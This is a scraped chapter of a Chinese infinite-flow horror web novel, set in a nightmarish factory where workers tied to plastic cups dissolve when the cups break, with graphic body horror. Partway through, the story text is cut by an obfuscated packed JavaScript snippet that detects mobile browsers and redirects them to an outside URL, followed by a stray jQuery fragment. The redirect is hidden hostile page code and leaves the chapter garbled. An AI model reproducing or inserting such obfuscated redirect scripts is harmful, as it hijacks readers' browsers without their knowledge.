文趣网 > 其他小说 > 【无限】没有镜头就会死 > 14. Chapter14.一次性工厂
    “呲——!”

    没有塑料杯的工人栽进激流,霎时间!他甚至连尖叫都来不及发出,就如奶油一般在滚水中融化、脱骨,散架,再被冲打成泛着一圈圈红色泡沫的血水。

    还意欲和心銋争抢的NPC们顿时歇了心思,不敢再打这个新员工的主意。

    “抱歉了。”

    心銋将顺道接好的第二杯和自己完好无损的胳臂一起收回来。

    他左手插兜,慢条斯理地抿了一口水对VV道:“现在你知道没有杯子直接接触会怎么样了。”

    心銋一边说着,一边不忘品鉴。

    噢……这一杯不是凉水了,比之前多带了丝温度,口感和澄澈度上倒是没太大变化。

    喝了之后能明显感到体力的恢复和疲惫感的减轻,但并没有提升饱腹感。

    薇薇安都看傻了,她双手紧紧攥着自己的杯子忙不迭点头,小心翼翼地去接水,嘴中念念有词,“这是第一杯,一一一一……”

    心銋喝得索然无味,辛苦了一天要是还吃不饱、不能用美食好好犒劳自己的话,他绝对会变得越来越暴躁。

    啧,接下来需要验证的是……

    心銋从口袋掏出自个儿的排骨,有点不知道怎么面对它,拿近看了两眼,又排斥地别过脑袋。

    他真的要吃从自己身上掉下来的这块肉吗?不会得阮病毒吧??

    虽然副本世界不能按常理判断、虽然动物中像是母猫生产了小猫后通常会把胎盘吃掉补充营养……代入一下现在就是把塑料杯当成自己的孩子呵护,把排骨当车河子炖了……更怪了啊混蛋!!

    心銋忍无可忍地又摔了次杯子,这回NPC们反而欻地退开了一大段,就好似他摔了个炮仗。

    一旁,薇薇安正抖着手想把杯子运到自己嘴边。

    她终于不多不少接了个刚刚好,水平面和杯缘平齐又不至于漫出来。当她确保没有洒漏一滴,将整杯水都充分灌进喉咙,这个强迫症才畅快地长舒了口气。

    不过她动作太慢了,这边心銋已经要接第三杯。

    他用余光瞥瞥工头那圆滚滚的肚子,还是将排骨放进了自己的塑料杯里。

    “噗——”

    杯底排骨遇水微颤,泛起细密气泡,它并未被滚水烫熟,反而像泡腾片般彻底溶解消散,连一点肉渣都不剩。

    心銋盯着杯中澄澈如初的水面,仿佛刚才那块带着骨髓与脂肪的排骨从未存在过,取而代之的,是排骨汤的鲜香氤氲升腾弥漫在食堂里,令人食指大动!

    在场的无不被勾出馋虫,手里那没味的白水更是令员工饥渴难耐,可这等肥水,哪里流得到他们田里!

    “那什么,3841号,”工头腆着肚子凑近,油光满面的脸上挤出三分笑七分压,状似商量道:“你这汤……能给我尝尝不?”

    心銋随地就是一个大小演,“欸,什么能不能的,这汤本来就是给您备的!”

    他双手捧杯,毕恭毕敬递到工头眼前,作势要将自己的塑料杯和工头的互换。

    “别,”工头却忽然抬手按住杯沿,推脱道:

    “倒给我就行,这杯子啊,你还是自己好好留着吧。”

    心銋微顿,“瞧我,太糊涂了!让您用我这餐具可不是跌份吗!”

    工头耐人寻味地“嗯”了一声,眼神黏在心銋的手上,直到那汤全进了自己“碗”里。

    工头喉结滚动,一口咽下温热浓汤,食髓知味地打了个响嗝,脸上油光骤然更盛。

    他还算满意地拍拍心銋的肩,随即将自己的杯子捏扁团吧团吧再塞进嘴里,嘎吱嘎吱地硬嚼了几下生咽下去!

    心銋甚至能瞧见杯体从他嗓门喇过、撑开喉管,浮出凹凸不平的轮廓;它在工头颈部的皮肤下缓缓游走,像一条被强行塞入的活体塑料虫。

    心銋幻痛地捂上自己的喉咙,搏动的血脉在掌中微微起伏。

    人这一生,到底会不知不觉地摄入多少塑料微粒呢?

    心銋想起自己天天吃外卖的日子,他三餐不定,无暇品尝美味,只是乏力地维持生命体征,为了图省事还会经常把已经放凉的餐食直接连包装一起微波加热。

    有时昏头昏脑热过头,塑料餐盒边缘微微卷曲,散发出淡淡的焦糊味,他也都凑合拿来用了,反正一时半会吃不死,只要看不见微塑颗粒他就当不存在。

    可现在不得不直观地面对这不易分解的高分子聚合物在他们体内循环、中转,再提炼、回收的过程,心銋便觉得浑身上下都怪怪的。

    工人们就如同分离杂质的生物滤网,任由异物和毒素在身躯中沉积,而他们这么做恰恰是为了能活下去有口饭吃;生存的悖论正赤裸裸地横亘在喉间——越吞咽,越哽塞。

    心銋感到胃里反酸,一阵灼烧感直冲食道,他又猛灌了杯水,将那不适压下。

    与此同时,他也确认了工头的塑料杯已经用了九回。

    其他少数和他一样拿到高级杯的工人都接了六次水,他先前用掉了杯子一半的耐久度,按说还能再用三轮,显然比工头那只杯子剩下的使用次数要多。

    要是和自己交换杯子,工头就能多喝“两碗”——他既然爱占便宜,怎么会不乐意?难道单纯是因为已经喝饱了?

    心銋双手抱住后脑勺,牙齿叼着再次喝空的塑料杯杯沿微微上下磨动;正思索着呢,身后不期然响起讨厌的声音:

    “怎么不像刚才一样直接用NPC印证你的猜想?”

    军火商玩味地看着他,五指抓住塑料杯杯口,晃着半满的杯子,优雅地像是在醒一杯红酒。

    心銋没搭理他。

    军火商但笑不语,转而向一名女性NPC投以关怀和问候,用花言巧语提出可以用自己的高级杯和她的普通杯子交换。

    心銋一僵,振声道:“喂,还给她!”

    军火商故作苦恼道:“这场交易是在双方平等自愿的前提下达成的,就算我想返回它恐怕也不乐意。”

    金发男人努努下巴,只见那名女性NPC已惊喜地拿着新杯子狼吞虎咽起来,为自己终于能吃一顿饱饭而感激不已。

    这边,军火商也用NPC的杯子接了一杯水,却直接泼在地上;再接一杯,又倒掉——如此反复几次,B级杯的耐久度很快耗尽,可他竟还打算用那只塑料杯去接第四次!

    心銋犹豫一瞬,还是伸手去抢,而军火商只是把胳膊一抬,他就扑了个空。

    金发男人高举着塑料杯晃晃,示意心銋不妨再踮起脚来争取一下。

    ……我靠你XX!

    心銋很清楚对方在测试自己的底线,但他还是一个跃起去够,哪成想军火商手肘又倏地下落,长臂一伸,便穿进了一旁的水柱,接下了第四杯。

    “哗——”

    塑料杯再也承受不住,唰地畸变溶解!

    水珠四溅,如碎银迸射,在惨白灯光下划出转瞬即逝的弧光。

    那杯沿崩解的瞬间,只顾着酣饮的女员工登时发出凄厉的惨叫,整张脸如融蜡般塌陷下去!

    然后同心銋之前钓过来的NPC一样……化作烂泥,腥臭的黏液汩汩渗入地砖缝隙。

    杯子连带着残渣坠地,军火商走过去,面不改色地捡起那浸在红液中、本就属于他的高级杯;饮啜起混杂着血水的液体。

    “每个员工都和自己的杯子绑定,我们拿到的‘餐具’并非随机分配,而是从自己背后产出的产品里挑出的最次品。

    “要是塑料杯超出承载极限还没被收回体内,我们就会落得和杯子一样的下场……你想验证的就是这个吧?”

    金发男人嗜血地回眸,嘴角勾起一丝嗤笑:“可你犹豫了——为什么?是因为剩下的这些家伙没先对你不利,还是因为它们都长着人形?”

    军火商笑眯眯地欠了欠身:“那么,你这份恒久的伪善,又价值多少呢?”

    ……

    心銋嘴角抽搐,眉尾剧烈跳动,额角青筋如蚯蚓般凸起,他攥紧拳头就要招呼上去!

    好在,姗姗来迟的纠结剑士从后头架住了心銋的胳肢窝,奋力把他往回拖。

    “冷静、冷静!揍他也很可能会被收‘费’啊!!”

    而VV……VV正屏息凝神地接着最后一杯水。

    当她终于顺利收官,午餐时间也宣告结束。

    食堂广播骤然响起刺耳的蜂鸣,要求全体人员立即返回各自工位!

    心銋捏住自己的塑料杯怼进嘴里,他死瞪着军火商就像在拿他当下饭菜。

    而后他转过身,囫囵不清地说:“肘了!塔个笨么上桃(走了,他根本没上套!)”

    纠结剑士看看心銋又扭头看看军火商,心虚地挠挠脸颊,跟着心銋快步穿过锈蚀的廊道,压低声音道:“那我们的方案……?”

    出乎意料的是心銋咬着后槽牙依旧给出了肯定的答复,“照、旧。”

    于是乎,吃坏嗓子的心銋被迫闭麦了一下午,就搁产线上对着依旧没事人似的军火商干瞪眼,直到傍晚收工铃响,心銋才扯着嘶哑嗓音找到工头问:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928901|213571||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “晚上、……住哪?”

    “还能哪,宿舍呗。”工头叼着吸管好笑地看着他,“6666号和你一间,他知道路,让他带你去吧。”

    心銋:……

    得,今晚是别想好好休息了。

    疼痛贯穿于半梦半醒之间,串联起波宕起伏的意识。耳畔是金属管道深处传来的、规律而沉闷的搏动声。

    从腐烂的背部抽出痰一样的脓液,自亏空的血肉里重新长出密密麻麻的肉芽。

    它们底部深红,尖端渐白,像竖直的驱虫蠕动着窸窸窣窣地填补凹陷。

    心銋的手探向后背不停抓挠,想要将那些增生的肉芽连根拔起,却反而让它们越变越多。

    指甲断裂,皮肉翻卷,那白尖肉芽竟在血泊里微微翕张。

    他的手摸到了背上凹凸不平的圆头和缝隙,触感滑韧、黏腻。

    青年越挠越痒,肉芽如石榴粒似的扑簌簌掉落,宛如不断从身体里抠出的寄生虫。

    他越挠越深,试图追根溯源一次性清创;却将自己挖空,到头来才发现,他的骨头也遍布了珊瑚似的细密凸点——

    心銋猛然睁开眼。

    冷汗浸透工装,光怪陆离的幽绿荧光在天花板上缓缓爬行,像某种活体霉斑。

    心銋是趴着睡的,他下意识想去摸摸自己的背确认它没有异变,却因记起工厂的规定而迅速缩回手。

    这个世界也没有镜子,他无法确认自己的背后到底怎么了,看不见也不能碰。

    只有梦境中胡乱衍生的幻想,像鳞片密集又冰冷的毒蛇一般,蜿蜒爬上他的脊椎。

    “你这……昨晚干嘛去了?”

    看到顶着两个熊猫眼的心銋,纠结剑士忍不住如是问。

    心銋抹了把脸,眼底泛着血丝,他静默一会儿,才用沙哑得像砂纸摩擦的嗓音道:

    “别提了,宿舍整整16人一间啊16人间!磨牙的磨牙,打呼的打呼,床脚挨着床头,又臭又闷!

    “麻药劲过后背上疼得不行还超级痒,只能趴着睡翻不了身,又不能伸手挠;

    “床板也硬,被褥都特别粗糙而且脏兮兮的,搞得我泛红疹子,一整宿的硬熬,根本睡不着,照这样下去我就算不死于伤口恶化感染,也得被过敏性休克干掉或者精神衰竭而亡!

    “我还想着那正好监视一下骚包男半夜会不会有所行动,也不枉失眠,结果他睡得竟然比栅栏里的猪都香?!”

    心銋越说越气,尤其是军火商一夜好梦今早还神清气爽的起来,与萎靡的自己形成扎眼的对比,这更加使他愤愤不平。

    看到那厮好过简直比自己吃苦还要令人难受!

    纠结剑士闻言意外道:“……你莫非是豌豆公主类型的?”

    “哈?”

    心銋对这类比不明所以,还想反问“你的意思是我太娇生惯养了不成??”,却已轮到他打这DAY2的卡。

    前一天打卡器在背上留下烙印的地方,经过6轮制作工艺的洗礼,已经完全失活。

    无法再回弹的死皮乱七八糟地黏着或翘着,划痕下是红黄相间的肉坑,自愈的结痂已不敌溃烂的蔓延,有点像撒漏的什锦片皮儿汤。

    这处“洼地”连带着心銋背部周围的皮肉都发炎红肿、疼痛难忍,左臂几乎动弹不得;他或许还发着低烧,额角渗出细密冷汗,但还是不得不站到打卡的展台之上。

    机械臂再度垂落,悬于创面同水平线毗邻位置,以脊椎为中轴,将荧红烙铁印盖而下!

    心銋牙关紧咬,又挨下一记滚烫的上工证明。

    大概是因直击脊梁,薄薄的皮肤下骨头仿佛都被烫红,发出细微的噼啪脆响,仿佛一截枯枝在烈焰中即将崩断;心銋忽地失去对颈部以下的知觉,就跟断线的人偶般一头栽倒!

    这次在心銋前一位完成打卡的薇薇安连忙接住了他,慌乱惊呼:“啊啊啊啊你不要死啊!!”

    已经顾不得男人颜面的心銋在VV的胸膛里心累道:“……我只是瘫痪了一会儿,大概。”

    薇薇安顿时安心了:“哦哦、那就好。”

    心銋:……

    话说瘫痪也很严重吧给我吐槽下啊!不对、军火商就算了,为什么你的状态也看起来比我要好??

    心銋百思不得其解,不禁自我怀疑难道真的是他太菜了?这对吗??

    这种恍惚的状态一直持续到了第一轮制造结束,质检员忍无可忍的怒吼终于叫回了心銋。

    “3841号你到底怎么搞的?!!”